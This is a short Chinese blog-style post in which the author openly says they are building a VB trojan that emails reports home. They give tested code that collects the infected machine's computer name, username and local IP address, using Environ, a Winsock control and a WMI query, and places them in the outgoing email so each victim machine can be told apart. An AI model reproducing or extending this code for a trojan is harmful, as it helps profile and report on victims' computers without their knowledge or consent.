由于本人正在用 VB 制作一个自动发邮件的木马(我很直白吧),虽然木马不是重点, 发邮件也只是附带功能,但确实用到.然后想要知道区分是哪里发来的,就想到顺便加入计算机名及用户名在邮件中.
当然,代码越简单越好,也就干脆 顺便也把IP 带上吧.
加计算机名 和用户名
计算机:
text1.text=VBA.Environ("computername")
用户名:
text2.text= VBA.Environ("username")
既邮件内容
Email.Textbody = Now() & " 来源: " & VBA.Environ("computername") & "(" & VBA.Environ("username") & ")"
再在后面再加入IP,
Private Sub Form_Load()
Set winIP = CreateObject("MSWinsock.Winsock") '取本机ip
strLocalIP = winIP.localip '取本机ip
End Sub
然后
text3.text =strLocalIP '本机IP
但后来发现这个换机子就不行了, 才想起这个是要控件.做小马怎么可能带着沉重的家当.换一种方法.
Sub MyIP() '取本机IP
Dim strComputer As String
Dim objWMI As Object
Dim colIP As Object
Dim IP As Object
Dim i As Integer
strComputer = "."
Set objWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2")
Set colIP = objWMI.ExecQuery _
("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each IP In colIP
If Not IsNull(IP.IPAddress) Then
If InStr(IP.IPAddress(i), "192.") > 0 Then
Text1 = IP.IPAddress(i)
End If
End If
Next
End Sub '取本机IP
已测试后一种方法一样成功.
并且代码一样简单